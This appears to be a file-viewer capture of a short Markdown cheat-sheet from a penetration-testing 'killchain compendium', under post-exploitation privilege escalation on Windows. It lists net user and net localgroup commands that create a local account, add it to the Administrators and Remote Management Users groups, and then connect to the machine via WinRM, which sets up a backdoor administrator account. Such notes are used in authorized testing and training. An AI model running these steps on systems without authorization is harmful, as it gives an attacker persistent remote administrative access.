killchain-compendium/post exploitation/priv_esc/docs/windows/add_user.md

17 lines
246 B
Markdown
Raw Normal View History

2021-08-23 01:13:54 +02:00
# Add user as system user
```sh
net user <username> <password> /add
```
```sh
net localgroup Administrator <username> /add
```
```sh
net localgroup "Remote Management Users" <username> /add
```
```sh
net user <username>
```
* connect via winRM